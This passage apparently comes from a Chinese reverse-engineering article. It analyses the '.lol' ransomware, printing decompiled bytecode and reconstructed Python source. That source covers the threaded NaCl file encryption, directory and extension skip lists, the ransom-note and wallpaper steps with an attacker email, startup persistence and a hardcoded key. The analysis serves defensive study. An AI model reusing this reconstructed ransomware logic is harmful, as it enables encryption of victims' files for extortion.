94 STORE_FAST 3: exc 96 POP_TOP 98 SETUP_FINALLY 32 (to 132) 100 LOAD_GLOBAL 0: print 102 LOAD_CONST 6: 'Error encrypting ' 104 LOAD_FAST 2: file_path 106 FORMAT_VALUE 0 (FVC_NONE) 108 LOAD_CONST 7: ': ' 110 LOAD_FAST 3: exc 112 FORMAT_VALUE 0 (FVC_NONE) 114 BUILD_STRING 4 116 CALL_FUNCTION 1 //print(f'Error encrypting {file_path}: {exc}') 118 POP_TOP 120 POP_BLOCK 122 POP_EXCEPT 124 LOAD_CONST 0: None 126 STORE_FAST 3: exc 128 DELETE_FAST 3: exc 130 JUMP_ABSOLUTE 46 132 LOAD_CONST 0: None 134 STORE_FAST 3: exc 136 DELETE_FAST 3: exc 138 RERAISE 140 RERAISE 142 JUMP_ABSOLUTE 46 144 POP_BLOCK 146 LOAD_CONST 0: None 148 DUP_TOP 150 DUP_TOP 152 CALL_FUNCTION 3 154 POP_TOP 156 JUMP_FORWARD 16 (to 174) 158 WITH_EXCEPT_START 160 POP_JUMP_IF_TRUE 164 162 RERAISE 164 POP_TOP 166 POP_TOP 168 POP_TOP 170 POP_EXCEPT 172 POP_TOP 174 LOAD_CONST 0: None 176 RETURN_VALUE
经过还原的代码大致如下
def OneStart(): print("It's Working") with ThreadPoolExecutor(MAX_THREAD_WORKERS ='max_workers' ) as executor: future_to_file = { file_path: executor.submit(D_E_ncrypt(file_path, Box).FileE) # 提交 FileE 方法 for path in PathList for file_path in encrypt_files_in_path(path) } for future in as_completed(future_to_file): future_path = future_to_file[future] try: future.result() print(f'Successfully encrypted {file_path}') except: print(f'Error encrypting {file_path}: {exc}')
此函数被正常反编译出来,这里就不再赘述
1 2 3 4 | def CallErrorBox(): WINDOW = tkinter.Tk() WINDOW.withdraw() messagebox.showerror( 'Error' , 'Try To Re-Run As Administrator' ) |
这个函数的字节码如下
0 LOAD_GLOBAL 0: os 2 LOAD_METHOD 1: walk 4 LOAD_FAST 0: path 6 CALL_METHOD 1 //os.walk(path) 8 GET_ITER 10 FOR_ITER 138 (to 150) 12 UNPACK_SEQUENCE 3 //解包上面返回的可迭代对象 14 STORE_FAST 1: root 16 STORE_FAST 2: _ 18 STORE_FAST 3: files 20 LOAD_FAST 3: files 22 GET_ITER 24 FOR_ITER 122 (to 148) 26 STORE_FAST 4: name 28 LOAD_GLOBAL 0: os 30 LOAD_ATTR 2: path 32 LOAD_METHOD 3: join 34 LOAD_FAST 1: root 36 LOAD_FAST 4: name 38 CALL_METHOD 2 //os.path.join(root, name) 40 STORE_DEREF 0: file_path 42 LOAD_GLOBAL 0: os 44 LOAD_METHOD 4: stat 46 LOAD_DEREF 0: file_path 48 CALL_METHOD 1 //os.stat(file_path).st_size 50 LOAD_ATTR 5: st_size 52 STORE_FAST 5: file_size
得到代码如下
for root, _, files in os.walk(path): for name in files: file_path = os.path.join(root, name) file_size = os.stat(file_path).st_size
接下来是一个判断
54 LOAD_GLOBAL 6: any 56 LOAD_CLOSURE 0: file_path 58 BUILD_TUPLE 1 60 LOAD_CONST 1: <CODE> <genexpr> //生成器表达式 62 LOAD_CONST 2: 'encrypt_files_in_path.<locals>.<genexpr>' 64 MAKE_FUNCTION 8 66 LOAD_CONST 3: ('$Recycle.Bin', 'Windows', 'AppData', 'System32') 68 GET_ITER 70 CALL_FUNCTION 1 //调用genexpr 72 CALL_FUNCTION 1 //调用any 74 POP_JUMP_IF_FALSE 78 //判断是否为false 76 JUMP_ABSOLUTE 24//如果是就跳转
其中这个表达式汇编如下
0 LOAD_FAST 0: .0 2 FOR_ITER 14 (to 18) 4 STORE_FAST 1: x // x for x in 输入的参数 6 LOAD_FAST 1: x 8 LOAD_DEREF 0: file_path 10 CONTAINS_OP 0 (in) // file_path in x 12 YIELD_VALUE //yield 14 POP_TOP 16 JUMP_ABSOLUTE 2 18 LOAD_CONST 0: None 20 RETURN_VALUE //return
翻译为代码如下,用于排除特定目录
if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')): continue
接下来又是一个相似的操作
LOAD_GLOBAL 6: any 80 LOAD_CLOSURE 0: file_path 82 BUILD_TUPLE 1 84 LOAD_CONST 4: <CODE> <genexpr> //另外一个生成器 86 LOAD_CONST 2: 'encrypt_files_in_path.<locals>.<genexpr>' 88 MAKE_FUNCTION 8 90 LOAD_CONST 5: ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt') 92 GET_ITER 94 CALL_FUNCTION 1 96 CALL_FUNCTION 1
生成器字节码如下
0 LOAD_FAST 0: .0 //输入的参数 2 FOR_ITER 16 (to 20) 4 STORE_FAST 1: ext //for ext in 输入的参数 6 LOAD_DEREF 0: file_path 8 LOAD_METHOD 0: endswith 10 LOAD_FAST 1: ext 12 CALL_METHOD 1 //file_path.endswith(ext) 14 YIELD_VALUE 16 POP_TOP 18 JUMP_ABSOLUTE 2 20 LOAD_CONST 0: None 22 RETURN_VALUE
翻译后的代码如下,用于排除特定拓展名
if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')): continue
接下来对文件大小进行校验并调用加密算法
100 JUMP_ABSOLUTE 24 102 LOAD_FAST 5: file_size 104 LOAD_GLOBAL 7: FILE_SIZE_THRESHOLD 106 COMPARE_OP 5 (>=) //file_size >= FILE_SIZE_THRESHOLD: 108 POP_JUMP_IF_FALSE 118 110 LOAD_DEREF 0: file_path 112 YIELD_VALUE //yield file_size 114 POP_TOP 116 JUMP_ABSOLUTE 24 118 LOAD_GLOBAL 8: print 120 LOAD_CONST 6: 'Encrypting small file ' 122 LOAD_DEREF 0: file_path 124 FORMAT_VALUE 0 (FVC_NONE) 126 BUILD_STRING 2 128 CALL_FUNCTION 1 // print(f'Encrypting small file {file_path}') 130 POP_TOP 132 LOAD_GLOBAL 9: D_E_ncrypt 134 LOAD_DEREF 0: file_path 136 LOAD_GLOBAL 10: Box 138 CALL_FUNCTION 2 // D_E_ncrypt(file_path, Box) 140 LOAD_METHOD 11: FileE 142 CALL_METHOD 0 //encryptor.FileE() 144 POP_TOP 146 JUMP_ABSOLUTE 24 148 JUMP_ABSOLUTE 10 150 LOAD_CONST 0: None 152 RETURN_VALUE
代码大致如下
def encrypt_files_in_path(path): for root, _, files in os.walk(path): for name in files: file_path = os.path.join(root, name) file_size = os.stat(file_path).st_size # 排除特定目录 if any(dir_name in file_path for dir_name in ('$Recycle.Bin', 'Windows', 'AppData', 'System32')): continue # 排除特定文件扩展名 if any(file_path.endswith(ext) for ext in ('.dll', '.exe', '.msn', 'Ransom_Note.txt', 'background_image.jpg', '.gay', 'Key.txt', 'ReadIt.txt')): continue # 检查文件大小 if file_size >= FILE_SIZE_THRESHOLD: yield file_path print(f'Encrypting small file {file_path}') # 创建 D_E_ncrypt 实例并调用 FileE 方法 encryptor = D_E_ncrypt(file_path, Box) encryptor.FileE()
if __name__ == '__main__': if AdminRight: OneStart() create_ransom_note() email = 'elenaelerhsteink08673@gmail.com' create_image_with_email(email) script_path = os.path.abspath(__file__) add_to_startup(script_path) else: CallErrorBox()
MAX_THREAD_WORKERS = 100 FILE_SIZE_THRESHOLD = 10485760 User = os.getlogin() Script = sys.argv[0] MaxThread = 120 AdminRight = ctypes.windll.shell32.IsUserAnAdmin() #密钥初始化 Key = b'\xc0n\xf7\xd3\x95\x90w7\x06\xdd\xc2A\x8d\xaew\xcd[\xdb\xc9R\xf0\xfbLE8\xf0\xf7\xd5\xce\xed\xd6\xfa' Box = nacl.secret.SecretBox(Key) Token = 'Your Telegram Token So you can Get Decrypt The Files!' NumID = 'Your User ID so Bot just Send Key To You !' Message = f'''{User} -> {Key}''' PathList = [ 'C:\\Users\\\\'] for Latter in range(97, 123): PathList.append(f'''{chr(Latter)}:\\''') PathList.remove('c:\\') print(f'''list -> {PathList}''') print(f'''We are -> {Script}''')
分析表明,该病毒程序通过Python打包成可执行文件,具备文件加密、勒索信生成、权限维持及启动项添加等多种功能。利用NACL加密算法,该病毒对特定目录和文件类型进行遍历加密,生成“.lol”后缀文件,并通过更换桌面壁纸和创建勒索信提示用户支付赎金。此外,恶意程序使用注册表实现开机自启动,且通过多线程加速加密进程。
更多【软件逆向-【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇!】相关视频教程:www.yxfzedu.com